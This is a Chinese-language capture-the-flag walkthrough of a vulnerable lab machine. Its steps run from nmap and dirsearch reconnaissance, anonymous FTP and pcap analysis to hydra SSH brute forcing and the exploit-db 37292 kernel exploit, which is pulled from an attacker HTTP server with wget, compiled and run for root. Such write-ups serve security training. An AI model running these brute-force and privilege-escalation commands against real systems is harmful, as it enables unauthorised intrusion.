信息收集
主机发现
arp-scan -l
端口扫描
nmap -p- 192.168.164.170
目录扫描
dirsearch -u "http://192.168.164.170/"
访问目录什么都没有发现。。
尝试匿名登陆ftp
ftp 192.168.164.170
用户名:anonymous 密码:空
并且在ftp中发现一个流量包
pacp文件介绍
pcap文件是常用的数据报存储格式,可以理解为就是一种文件格式,只不过里面的数据是按照特定格式存储的,所以我们想要解析里面的数据,也必须按照一定的格式。普通的记事本打开pcap文件显示的是乱码,用安装了HEX-Editor插件的Notepad++打开,能够以16进制数据的格式显示,用wireshark这种抓包工具就可以正常打开这种文件,愉快地查看里面的网络数据报了,同时wireshark也可以生成这种格式的文件。
所以这里就先将他下载到本地,然后使用Wireshark打开查看
get lol.pcap
流量分析
发现有个secret_stuff.txt
打开后发现
发现了sup3rs3cr3tdirlol,尝试网站目录,访问一下
发现有一个名为roflmao的文件,下载查看
wget http://192.168.164.170/sup3rs3cr3tdirlol/roflmao
查看文件类型,发现他是一个ELF 32位LSB可执行文件
file roflmao
通过strings在对象文件或二进制文件中查找可打印的字符串,让我们找到地址0x0856BF
strings roflmao
访问0x0856BF目录
不能确定哪个才是真正可以登录的用户名,我们就使用hydra暴力破解看看
漏洞探测
将which_one_lol.txt下载到本地
wget http://192.168.164.170/0x0856BF/good_luck/which_one_lol.txt
使用hydra进行爆破:
hydra -L which_one_lol.txt -P pass.txt 192.168.164.170 ssh
后来才发现Good_job_:)不是密码!!!真正的密码就是文件名Pass.txt
登进去看看
ssh overflow@192.168.164.170
漏洞利用
查看一下靶机的内核版本信息
uname -a
cat /etc/issue
一、查看Linux内核版本命令(两种方法)
1、cat /proc/version
2、uname -a
二、查看Linux系统版本的命令(三种方法)
1、lsb_release -a 即可列出所有版本信息,这个命令适用于所有的Linux发行版,包括RedHat、SUSE、Debain...等发行版
2、cat /etc/redhat-release 这种方法只适用于RedHat系的Linux
3、cat /etc/issue 此命令也适用于所有的Linux发行版
得到靶机为Ubuntu 14.04和3.13内核,根据内核版本去exploit-db找找看有没有可以利用的漏洞
提权
searchsploit 37292 //在kali本地exploit库搜索
locate linux/local/37292.c //查看位置
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./ //复制到目标目录
python -m http.server 8000 // 打开http服务
wget http://192.168.164.134:8000/37292.c //在shell 里面下载exp
gcc 37292.c -o 37292 //编译exp
./37292 //执行exp可执行文件
获得root权限后,查看proof.txt得到flag